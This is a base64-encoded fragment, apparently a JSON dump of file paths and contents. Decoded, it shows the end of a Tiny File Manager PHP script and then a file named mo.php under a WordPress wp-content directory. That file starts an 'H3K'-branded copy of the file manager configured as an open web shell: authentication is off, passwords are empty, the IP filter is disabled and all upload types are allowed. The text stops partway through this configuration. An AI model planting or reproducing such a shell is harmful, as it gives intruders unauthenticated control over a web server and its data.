gICAgICAgIGlmIChfZGF0YSAmJiBfZGF0YS5hY2VUaGVtZSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGxpZ2h0VGhlbWUgPSBvcHRpb25Ob2RlKFwiYWNlXC90aGVtZVwvXCIsIF9kYXRhLmFjZVRoZW1lLmJyaWdodCksXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZGFya1RoZW1lID0gb3B0aW9uTm9kZShcImFjZVwvdGhlbWVcL1wiLCBfZGF0YS5hY2VUaGVtZS5kYXJrKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICR0aGVtZUVsLmh0bWwoXCI8b3B0Z3JvdXAgbGFiZWw9XFxcIkJyaWdodFxcXCI+XCIgKyBsaWdodFRoZW1lICsgXCI8XC9vcHRncm91cD48b3B0Z3JvdXAgbGFiZWw9XFxcIkRhcmtcXFwiPlwiICsgZGFya1RoZW1lICsgXCI8XC9vcHRncm91cD5cIik7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgaWYgKF9kYXRhICYmIF9kYXRhLmZvbnRTaXplKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkZm9udFNpemVFbC5odG1sKG9wdGlvbk5vZGUoXCJcIiwgX2RhdGEuZm9udFNpemUpKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAkbW9kZUVsLnZhbChlZGl0b3IuZ2V0U2Vzc2lvbigpLiRtb2RlSWQpO1xuICAgICAgICAgICAgICAgICAgICAkdGhlbWVFbC52YWwoZWRpdG9yLmdldFRoZW1lKCkpO1xuICAgICAgICAgICAgICAgICAgICAkKGZ1bmN0aW9uKCkge1xuICAgICAgICAgICAgICAgICAgICAgICAgJGZvbnRTaXplRWwudmFsKDEyKS5jaGFuZ2UoKTtcbiAgICAgICAgICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgJChmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgcmVuZGVyVGhlbWVNb2RlKCk7XG4gICAgICAgICAgICAgICAgICAgICQoXCIuanMtYWNlLXRvb2xiYXJcIikub24oXCJjbGlja1wiLCAnYnV0dG9uJywgZnVuY3Rpb24oZSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpO1xuICAgICAgICAgICAgICAgICAgICAgICAgbGV0IGNtZFZhbHVlID0gJCh0aGlzKS5hdHRyKFwiZGF0YS1jbWRcIiksXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZWRpdG9yT3B0aW9uID0gJCh0aGlzKS5hdHRyKFwiZGF0YS1vcHRpb25cIik7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoY21kVmFsdWUgJiYgY21kVmFsdWUgIT0gXCJub25lXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBhY2VfY29tbWVuZChjbWRWYWx1ZSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKGVkaXRvck9wdGlvbikge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlZGl0b3JPcHRpb24gPT0gXCJmdWxsc2NyZWVuXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKHZvaWQgMCAhPT0gZG9jdW1lbnQuZnVsbFNjcmVlbkVsZW1lbnQgJiYgbnVsbCA9PT0gZG9jdW1lbnQuZnVsbFNjcmVlbkVsZW1lbnQgfHwgdm9pZCAwICE9PSBkb2N1bWVudC5tc0Z1bGxzY3JlZW5FbGVtZW50ICYmIG51bGwgPT09IGRvY3VtZW50Lm1zRnVsbHNjcmVlbkVsZW1lbnQgfHwgdm9pZCAwICE9PSBkb2N1bWVudC5tb3pGdWxsU2NyZWVuICYmICFkb2N1bWVudC5tb3pGdWxsU2NyZWVuIHx8IHZvaWQgMCAhPT0gZG9jdW1lbnQud2Via2l0SXNGdWxsU2NyZWVuICYmICFkb2N1bWVudC53ZWJraXRJc0Z1bGxTY3JlZW4pICYmXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIChlZGl0b3IuY29udGFpbmVyLnJlcXVlc3RGdWxsU2NyZWVuID8gZWRpdG9yLmNvbnRhaW5lci5yZXF1ZXN0RnVsbFNjcmVlbigpIDogZWRpdG9yLmNvbnRhaW5lci5tb3pSZXF1ZXN0RnVsbFNjcmVlbiA/IGVkaXRvci5jb250YWluZXIubW96UmVxdWVzdEZ1bGxTY3JlZW4oKSA6IGVkaXRvci5jb250YWluZXIud2Via2l0UmVxdWVzdEZ1bGxTY3JlZW4gPyBlZGl0b3IuY29udGFpbmVyLndlYmtpdFJlcXVlc3RGdWxsU2NyZWVuKEVsZW1lbnQuQUxMT1dfS0VZQk9BUkRfSU5QVVQpIDogZWRpdG9yLmNvbnRhaW5lci5tc1JlcXVlc3RGdWxsc2NyZWVuICYmIGVkaXRvci5jb250YWluZXIubXNSZXF1ZXN0RnVsbHNjcmVlbigpKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKGVkaXRvck9wdGlvbiA9PSBcIndyYXBcIikge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsZXQgd3JhcFN0YXR1cyA9IChlZGl0b3IuZ2V0U2Vzc2lvbigpLmdldFVzZVdyYXBNb2RlKCkpID8gZmFsc2UgOiB0cnVlO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3IuZ2V0U2Vzc2lvbigpLnNldFVzZVdyYXBNb2RlKHdyYXBTdGF0dXMpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfSk7XG5cbiAgICAgICAgICAgICAgICAgICAgJChcInNlbGVjdCNqcy1hY2UtbW9kZSwgc2VsZWN0I2pzLWFjZS10aGVtZSwgc2VsZWN0I2pzLWFjZS1mb250U2l6ZVwiKS5vbihcImNoYW5nZVwiLCBmdW5jdGlvbihlKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7XG4gICAgICAgICAgICAgICAgICAgICAgICBsZXQgc2VsZWN0ZWRWYWx1ZSA9ICQodGhpcykudmFsKCksXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgc2VsZWN0aW9uVHlwZSA9ICQodGhpcykuYXR0cihcImRhdGEtdHlwZVwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChzZWxlY3RlZFZhbHVlICYmIHNlbGVjdGlvblR5cGUgPT0gXCJtb2RlXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3IuZ2V0U2Vzc2lvbigpLnNldE1vZGUoc2VsZWN0ZWRWYWx1ZSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKHNlbGVjdGVkVmFsdWUgJiYgc2VsZWN0aW9uVHlwZSA9PSBcInRoZW1lXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3Iuc2V0VGhlbWUoc2VsZWN0ZWRWYWx1ZSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKHNlbGVjdGVkVmFsdWUgJiYgc2VsZWN0aW9uVHlwZSA9PSBcImZvbnRTaXplXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3Iuc2V0Rm9udFNpemUocGFyc2VJbnQoc2VsZWN0ZWRWYWx1ZSkpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9KTtcbiAgICAgICAgICAgICAgICB9KTtcbiAgICAgICAgICAgIDxcL3NjcmlwdD5cbiAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgICAgIDxkaXYgaWQ9XCJzbmFja2JhclwiPjxcL2Rpdj5cbiAgICA8XC9ib2R5PlxuXG4gICAgPFwvaHRtbD5cbjw/cGhwXG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIExhbmd1YWdlIFRyYW5zbGF0aW9uIFN5c3RlbVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJHR4dFxuICAgICAqIEByZXR1cm4gc3RyaW5nXG4gICAgICpcL1xuICAgIGZ1bmN0aW9uIGxuZygkdHh0KVxuICAgIHtcbiAgICAgICAgZ2xvYmFsICRsYW5nO1xuXG4gICAgICAgICR0clsnZW4nXVsnQXBwTmFtZSddICAgICAgICA9ICdUaW55IEZpbGUgTWFuYWdlcic7XG4gICAgICAgICR0clsnZW4nXVsnQXBwVGl0bGUnXSAgICAgICA9ICdGaWxlIE1hbmFnZXInO1xuICAgICAgICAkdHJbJ2VuJ11bJ0xvZ2luJ10gICAgICAgICAgPSAnU2lnbiBpbic7XG4gICAgICAgICR0clsnZW4nXVsnVXNlcm5hbWUnXSAgICAgICA9ICdVc2VybmFtZSc7XG4gICAgICAgICR0clsnZW4nXVsnUGFzc3dvcmQnXSAgICAgICA9ICdQYXNzd29yZCc7XG4gICAgICAgICR0clsnZW4nXVsnTG9nb3V0J10gICAgICAgICA9ICdTaWduIE91dCc7XG4gICAgICAgICR0clsnZW4nXVsnTW92ZSddICAgICAgICAgICA9ICdNb3ZlJztcbiAgICAgICAgJHRyWydlbiddWydDb3B5J10gICAgICAgICAgID0gJ0NvcHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NhdmUnXSAgICAgICAgICAgPSAnU2F2ZSc7XG4gICAgICAgICR0clsnZW4nXVsnU2VsZWN0QWxsJ10gICAgICA9ICdTZWxlY3QgYWxsJztcbiAgICAgICAgJHRyWydlbiddWydVblNlbGVjdEFsbCddICAgID0gJ1Vuc2VsZWN0IGFsbCc7XG4gICAgICAgICR0clsnZW4nXVsnRmlsZSddICAgICAgICAgICA9ICdGaWxlJztcbiAgICAgICAgJHRyWydlbiddWydCYWNrJ10gICAgICAgICAgID0gJ0JhY2snO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NpemUnXSAgICAgICAgICAgPSAnU2l6ZSc7XG4gICAgICAgICR0clsnZW4nXVsnUGVybXMnXSAgICAgICAgICA9ICdQZXJtcyc7XG4gICAgICAgICR0clsnZW4nXVsnTW9kaWZpZWQnXSAgICAgICA9ICdNb2RpZmllZCc7XG4gICAgICAgICR0clsnZW4nXVsnT3duZXInXSAgICAgICAgICA9ICdPd25lcic7XG4gICAgICAgICR0clsnZW4nXVsnU2VhcmNoJ10gICAgICAgICA9ICdTZWFyY2gnO1xuICAgICAgICAkdHJbJ2VuJ11bJ05ld0l0ZW0nXSAgICAgICAgPSAnTmV3IEl0ZW0nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0ZvbGRlciddICAgICAgICAgPSAnRm9sZGVyJztcbiAgICAgICAgJHRyWydlbiddWydEZWxldGUnXSAgICAgICAgID0gJ0RlbGV0ZSc7XG4gICAgICAgICR0clsnZW4nXVsnUmVuYW1lJ10gICAgICAgICA9ICdSZW5hbWUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NvcHlUbyddICAgICAgICAgPSAnQ29weSB0byc7XG4gICAgICAgICR0clsnZW4nXVsnRGlyZWN0TGluayddICAgICA9ICdEaXJlY3QgbGluayc7XG4gICAgICAgICR0clsnZW4nXVsnVXBsb2FkaW5nRmlsZXMnXSA9ICdVcGxvYWQgRmlsZXMnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NoYW5nZVBlcm1pc3Npb25zJ10gID0gJ0NoYW5nZSBQZXJtaXNzaW9ucyc7XG4gICAgICAgICR0clsnZW4nXVsnQ29weWluZyddICAgICAgICA9ICdDb3B5aW5nJztcbiAgICAgICAgJHRyWydlbiddWydDcmVhdGVOZXdJdGVtJ10gID0gJ0NyZWF0ZSBOZXcgSXRlbSc7XG4gICAgICAgICR0clsnZW4nXVsnTmFtZSddICAgICAgICAgICA9ICdOYW1lJztcbiAgICAgICAgJHRyWydlbiddWydBZHZhbmNlZEVkaXRvciddID0gJ0FkdmFuY2VkIEVkaXRvcic7XG4gICAgICAgICR0clsnZW4nXVsnQWN0aW9ucyddICAgICAgICA9ICdBY3Rpb25zJztcbiAgICAgICAgJHRyWydlbiddWydGb2xkZXIgaXMgZW1wdHknXSA9ICdGb2xkZXIgaXMgZW1wdHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ1VwbG9hZCddICAgICAgICAgPSAnVXBsb2FkJztcbiAgICAgICAgJHRyWydlbiddWydDYW5jZWwnXSAgICAgICAgID0gJ0NhbmNlbCc7XG4gICAgICAgICR0clsnZW4nXVsnSW52ZXJ0U2VsZWN0aW9uJ10gPSAnSW52ZXJ0IFNlbGVjdGlvbic7XG4gICAgICAgICR0clsnZW4nXVsnRGVzdGluYXRpb25Gb2xkZXInXSAgPSAnRGVzdGluYXRpb24gRm9sZGVyJztcbiAgICAgICAgJHRyWydlbiddWydJdGVtVHlwZSddICAgICAgID0gJ0l0ZW0gVHlwZSc7XG4gICAgICAgICR0clsnZW4nXVsnSXRlbU5hbWUnXSAgICAgICA9ICdJdGVtIE5hbWUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NyZWF0ZU5vdyddICAgICAgPSAnQ3JlYXRlIE5vdyc7XG4gICAgICAgICR0clsnZW4nXVsnRG93bmxvYWQnXSAgICAgICA9ICdEb3dubG9hZCc7XG4gICAgICAgICR0clsnZW4nXVsnT3BlbiddICAgICAgICAgICA9ICdPcGVuJztcbiAgICAgICAgJHRyWydlbiddWydVblppcCddICAgICAgICAgID0gJ1VuWmlwJztcbiAgICAgICAgJHRyWydlbiddWydVblppcFRvRm9sZGVyJ10gID0gJ1VuWmlwIHRvIGZvbGRlcic7XG4gICAgICAgICR0clsnZW4nXVsnRWRpdCddICAgICAgICAgICA9ICdFZGl0JztcbiAgICAgICAgJHRyWydlbiddWydOb3JtYWxFZGl0b3InXSAgID0gJ05vcm1hbCBFZGl0b3InO1xuICAgICAgICAkdHJbJ2VuJ11bJ0JhY2tVcCddICAgICAgICAgPSAnQmFjayBVcCc7XG4gICAgICAgICR0clsnZW4nXVsnU291cmNlRm9sZGVyJ10gICA9ICdTb3VyY2UgRm9sZGVyJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlcyddICAgICAgICAgID0gJ0ZpbGVzJztcbiAgICAgICAgJHRyWydlbiddWydNb3ZlJ10gICAgICAgICAgID0gJ01vdmUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NoYW5nZSddICAgICAgICAgPSAnQ2hhbmdlJztcbiAgICAgICAgJHRyWydlbiddWydTZXR0aW5ncyddICAgICAgID0gJ1NldHRpbmdzJztcbiAgICAgICAgJHRyWydlbiddWydMYW5ndWFnZSddICAgICAgID0gJ0xhbmd1YWdlJztcbiAgICAgICAgJHRyWydlbiddWydFcnJvclJlcG9ydGluZyddID0gJ0Vycm9yIFJlcG9ydGluZyc7XG4gICAgICAgICR0clsnZW4nXVsnU2hvd0hpZGRlbkZpbGVzJ10gPSAnU2hvdyBIaWRkZW4gRmlsZXMnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0hlbHAnXSAgICAgICAgICAgPSAnSGVscCc7XG4gICAgICAgICR0clsnZW4nXVsnQ3JlYXRlZCddICAgICAgICA9ICdDcmVhdGVkJztcbiAgICAgICAgJHRyWydlbiddWydIZWxwIERvY3VtZW50cyddID0gJ0hlbHAgRG9jdW1lbnRzJztcbiAgICAgICAgJHRyWydlbiddWydSZXBvcnQgSXNzdWUnXSAgID0gJ1JlcG9ydCBJc3N1ZSc7XG4gICAgICAgICR0clsnZW4nXVsnR2VuZXJhdGUnXSAgICAgICA9ICdHZW5lcmF0ZSc7XG4gICAgICAgICR0clsnZW4nXVsnRnVsbFNpemUnXSAgICAgICA9ICdGdWxsIFNpemUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0hpZGVDb2x1bW5zJ10gICAgPSAnSGlkZSBQZXJtc1wvT3duZXIgY29sdW1ucyc7XG4gICAgICAgICR0clsnZW4nXVsnWW91IGFyZSBsb2dnZWQgaW4nXSA9ICdZb3UgYXJlIGxvZ2dlZCBpbic7XG4gICAgICAgICR0clsnZW4nXVsnTm90aGluZyBzZWxlY3RlZCddICA9ICdOb3RoaW5nIHNlbGVjdGVkJztcbiAgICAgICAgJHRyWydlbiddWydQYXRocyBtdXN0IGJlIG5vdCBlcXVhbCddICAgID0gJ1BhdGhzIG11c3QgYmUgbm90IGVxdWFsJztcbiAgICAgICAgJHRyWydlbiddWydSZW5hbWVkIGZyb20nXSAgICAgICA9ICdSZW5hbWVkIGZyb20nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUgbm90IHVucGFja2VkJ10gPSAnQXJjaGl2ZSBub3QgdW5wYWNrZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0RlbGV0ZWQnXSAgICAgICAgICAgID0gJ0RlbGV0ZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUgbm90IGNyZWF0ZWQnXSA9ICdBcmNoaXZlIG5vdCBjcmVhdGVkJztcbiAgICAgICAgJHRyWydlbiddWydDb3BpZWQgZnJvbSddICAgICAgICA9ICdDb3BpZWQgZnJvbSc7XG4gICAgICAgICR0clsnZW4nXVsnUGVybWlzc2lvbnMgY2hhbmdlZCddID0gJ1Blcm1pc3Npb25zIGNoYW5nZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ3RvJ10gICAgICAgICAgICAgICAgID0gJ3RvJztcbiAgICAgICAgJHRyWydlbiddWydTYXZlZCBTdWNjZXNzZnVsbHknXSA9ICdTYXZlZCBTdWNjZXNzZnVsbHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ25vdCBmb3VuZCEnXSAgICAgICAgID0gJ25vdCBmb3VuZCEnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0ZpbGUgU2F2ZWQgU3VjY2Vzc2Z1bGx5J10gICAgPSAnRmlsZSBTYXZlZCBTdWNjZXNzZnVsbHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUnXSAgICAgICAgICAgID0gJ0FyY2hpdmUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1Blcm1pc3Npb25zIG5vdCBjaGFuZ2VkJ10gICAgPSAnUGVybWlzc2lvbnMgbm90IGNoYW5nZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NlbGVjdCBmb2xkZXInXSAgICAgID0gJ1NlbGVjdCBmb2xkZXInO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NvdXJjZSBwYXRoIG5vdCBkZWZpbmVkJ10gICAgPSAnU291cmNlIHBhdGggbm90IGRlZmluZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ2FscmVhZHkgZXhpc3RzJ10gICAgID0gJ2FscmVhZHkgZXhpc3RzJztcbiAgICAgICAgJHRyWydlbiddWydFcnJvciB3aGlsZSBtb3ZpbmcgZnJvbSddICAgID0gJ0Vycm9yIHdoaWxlIG1vdmluZyBmcm9tJztcbiAgICAgICAgJHRyWydlbiddWydDcmVhdGUgYXJjaGl2ZT8nXSAgICA9ICdDcmVhdGUgYXJjaGl2ZT8nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0ludmFsaWQgZmlsZSBvciBmb2xkZXIgbmFtZSddICAgID0gJ0ludmFsaWQgZmlsZSBvciBmb2xkZXIgbmFtZSc7XG4gICAgICAgICR0clsnZW4nXVsnQXJjaGl2ZSB1bnBhY2tlZCddICAgPSAnQXJjaGl2ZSB1bnBhY2tlZCc7XG4gICAgICAgICR0clsnZW4nXVsnRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQnXSAgPSAnRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1Jvb3QgcGF0aCddICAgICAgICAgID0gJ1Jvb3QgcGF0aCc7XG4gICAgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgcmVuYW1pbmcgZnJvbSddICA9ICdFcnJvciB3aGlsZSByZW5hbWluZyBmcm9tJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlIG5vdCBmb3VuZCddICAgICA9ICdGaWxlIG5vdCBmb3VuZCc7XG4gICAgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgZGVsZXRpbmcgaXRlbXMnXSA9ICdFcnJvciB3aGlsZSBkZWxldGluZyBpdGVtcyc7XG4gICAgICAgICR0clsnZW4nXVsnTW92ZWQgZnJvbSddICAgICAgICAgPSAnTW92ZWQgZnJvbSc7XG4gICAgICAgICR0clsnZW4nXVsnR2VuZXJhdGUgbmV3IHBhc3N3b3JkIGhhc2gnXSA9ICdHZW5lcmF0ZSBuZXcgcGFzc3dvcmQgaGFzaCc7XG4gICAgICAgICR0clsnZW4nXVsnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJ10gPSAnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJztcbiAgICAgICAgJHRyWydlbiddWydwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24nXSA9ICdwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FkdmFuY2VkIFNlYXJjaCddICAgID0gJ0FkdmFuY2VkIFNlYXJjaCc7XG4gICAgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgY29weWluZyBmcm9tJ10gICAgPSAnRXJyb3Igd2hpbGUgY29weWluZyBmcm9tJztcbiAgICAgICAgJHRyWydlbiddWydJbnZhbGlkIGNoYXJhY3RlcnMgaW4gZmlsZSBuYW1lJ10gICAgICAgICAgICAgICAgPSAnSW52YWxpZCBjaGFyYWN0ZXJzIGluIGZpbGUgbmFtZSc7XG4gICAgICAgICR0clsnZW4nXVsnRklMRSBFWFRFTlNJT04gSVMgTk9UIFNVUFBPUlRFRCddICAgICAgICAgICAgICAgID0gJ0ZJTEUgRVhURU5TSU9OIElTIE5PVCBTVVBQT1JURUQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXIgZGVsZXRlZCddICAgICAgICAgICAgICA9ICdTZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVyIGRlbGV0ZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0Vycm9yIHdoaWxlIGZldGNoaW5nIGFyY2hpdmUgaW5mbyddICAgICAgICAgICAgICA9ICdFcnJvciB3aGlsZSBmZXRjaGluZyBhcmNoaXZlIGluZm8nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0RlbGV0ZSBzZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVycz8nXSAgICAgICAgICAgICA9ICdEZWxldGUgc2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlcnM/JztcbiAgICAgICAgJHRyWydlbiddWydTZWFyY2ggZmlsZSBpbiBmb2xkZXIgYW5kIHN1YmZvbGRlcnMuLi4nXSAgICAgICAgPSAnU2VhcmNoIGZpbGUgaW4gZm9sZGVyIGFuZCBzdWJmb2xkZXJzLi4uJztcbiAgICAgICAgJHRyWydlbiddWydBY2Nlc3MgZGVuaWVkLiBJUCByZXN0cmljdGlvbiBhcHBsaWNhYmxlJ10gICAgICAgPSAnQWNjZXNzIGRlbmllZC4gSVAgcmVzdHJpY3Rpb24gYXBwbGljYWJsZSc7XG4gICAgICAgICR0clsnZW4nXVsnSW52YWxpZCBjaGFyYWN0ZXJzIGluIGZpbGUgb3IgZm9sZGVyIG5hbWUnXSAgICAgID0gJ0ludmFsaWQgY2hhcmFjdGVycyBpbiBmaWxlIG9yIGZvbGRlciBuYW1lJztcbiAgICAgICAgJHRyWydlbiddWydPcGVyYXRpb25zIHdpdGggYXJjaGl2ZXMgYXJlIG5vdCBhdmFpbGFibGUnXSAgICAgPSAnT3BlcmF0aW9ucyB3aXRoIGFyY2hpdmVzIGFyZSBub3QgYXZhaWxhYmxlJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlIG9yIGZvbGRlciB3aXRoIHRoaXMgcGF0aCBhbHJlYWR5IGV4aXN0cyddICAgPSAnRmlsZSBvciBmb2xkZXIgd2l0aCB0aGlzIHBhdGggYWxyZWFkeSBleGlzdHMnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyZSB5b3Ugc3VyZSB3YW50IHRvIHJlbmFtZT8nXSAgICAgICAgICAgICAgICAgICA9ICdBcmUgeW91IHN1cmUgd2FudCB0byByZW5hbWU/JztcbiAgICAgICAgJHRyWydlbiddWydBcmUgeW91IHN1cmUgd2FudCB0byddICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAnQXJlIHlvdSBzdXJlIHdhbnQgdG8nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0RhdGUgTW9kaWZpZWQnXSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICdEYXRlIE1vZGlmaWVkJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlIHNpemUnXSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAnRmlsZSBzaXplJztcbiAgICAgICAgJHRyWydlbiddWydNSU1FLXR5cGUnXSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAnTUlNRS10eXBlJztcblxuICAgICAgICAkaTE4biA9IGZtX2dldF90cmFuc2xhdGlvbnMoJHRyKTtcbiAgICAgICAgJHRyID0gJGkxOG4gPyAkaTE4biA6ICR0cjtcblxuICAgICAgICBpZiAoIXN0cmxlbigkbGFuZykpICRsYW5nID0gJ2VuJztcbiAgICAgICAgaWYgKGlzc2V0KCR0clskbGFuZ11bJHR4dF0pKSByZXR1cm4gZm1fZW5jKCR0clskbGFuZ11bJHR4dF0pO1xuICAgICAgICBlbHNlIGlmIChpc3NldCgkdHJbJ2VuJ11bJHR4dF0pKSByZXR1cm4gZm1fZW5jKCR0clsnZW4nXVskdHh0XSk7XG4gICAgICAgIGVsc2UgcmV0dXJuIFwiJHR4dFwiO1xuICAgIH1cblxuPz4ifSx7InBhdGgiOiJcL2hvbWVcL2xham1peHhcL2FwcHNcL2xham1peHhcL3dwLWNvbnRlbnRcL21vLnBocCIsImNvbnRlbnQiOiI8P3BocFxuJENPTkZJRyA9ICd7XCJsYW5nXCI6XCJlblwiLFwiZXJyb3JfcmVwb3J0aW5nXCI6ZmFsc2UsXCJzaG93X2hpZGRlblwiOnRydWUsXCJoaWRlX0NvbHNcIjpmYWxzZSxcInRoZW1lXCI6XCJkYXJrXCJ9JztcblxuXC8qKlxuICogSDNLIH4gVGlueSBGaWxlIE1hbmFnZXIgVjIuNlxuICogQGF1dGhvciBDQ1AgUHJvZ3JhbW1lcnNcbiAqIEBnaXRodWIgaHR0cHM6XC9cL2dpdGh1Yi5jb21cL3ByYXNhdGhtYW5pXC90aW55ZmlsZW1hbmFnZXJcbiAqIEBsaW5rIGh0dHBzOlwvXC90aW55ZmlsZW1hbmFnZXIuZ2l0aHViLmlvXG4gKlwvXG5cbmRlZmluZSgnVkVSU0lPTicsICcyLjYnKTtcblxuZGVmaW5lKCdBUFBfVElUTEUnLCAnVGlueSBGaWxlIE1hbmFnZXInKTtcblxuJHVzZV9hdXRoID0gZmFsc2U7XG5cbiRhdXRoX3VzZXJzID0gYXJyYXkoXG4gICAgJ2FkbWluJyA9PiAnJyxcbiAgICAndXNlcicgPT4gJydcbik7XG5cbiRyZWFkb25seV91c2VycyA9IGFycmF5KFxuICAgICd1c2VyJ1xuKTtcblxuJGdsb2JhbF9yZWFkb25seSA9IGZhbHNlO1xuXG4kZGlyZWN0b3JpZXNfdXNlcnMgPSBhcnJheSgpO1xuXG4kdXNlX2hpZ2hsaWdodGpzID0gdHJ1ZTtcbiRoaWdobGlnaHRqc19zdHlsZSA9ICd2cyc7XG4kZWRpdF9maWxlcyA9IHRydWU7XG4kZGVmYXVsdF90aW1lem9uZSA9ICdFdGNcL1VUQyc7XG5cblxuJHJvb3RfcGF0aCA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107XG4kcm9vdF91cmwgPSAnJztcbiRodHRwX2hvc3QgPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ107XG4kaWNvbnZfaW5wdXRfZW5jb2RpbmcgPSAnVVRGLTgnO1xuJGRhdGV0aW1lX2Zvcm1hdCA9ICdtXC9kXC9ZIGc6aSBBJztcbiRwYXRoX2Rpc3BsYXlfbW9kZSA9ICdmdWxsJztcbiRhbGxvd2VkX2ZpbGVfZXh0ZW5zaW9ucyA9ICcnO1xuJGFsbG93ZWRfdXBsb2FkX2V4dGVuc2lvbnMgPSAnJztcbiRmYXZpY29uX3BhdGggPSAnJztcbiRleGNsdWRlX2l0ZW1zID0gYXJyYXkoKTtcbiRvbmxpbmVfdmlld2VyID0gJ2dvb2dsZSc7XG4kc3RpY2t5X25hdmJhciA9IHRydWU7XG4kbWF4X3VwbG9hZF9zaXplX2J5dGVzID0gNTAwMDAwMDAwMDtcbiR1cGxvYWRfY2h1bmtfc2l6ZV9ieXRlcyA9IDIwMDAwMDA7XG4kaXBfcnVsZXNldCA9ICdPRkYnO1xuJGlwX3NpbGVudCA9IHRydWU7XG4kaXBfd2hpdGVsaXN0ID0gYXJyYXkoXG4gICAgJzEyNy4wLjAuMScsXG4gICAgJzo6MSdcbik7XG5cbiRpcF9ibGFja2xpc3QgPSBhcnJheShcbi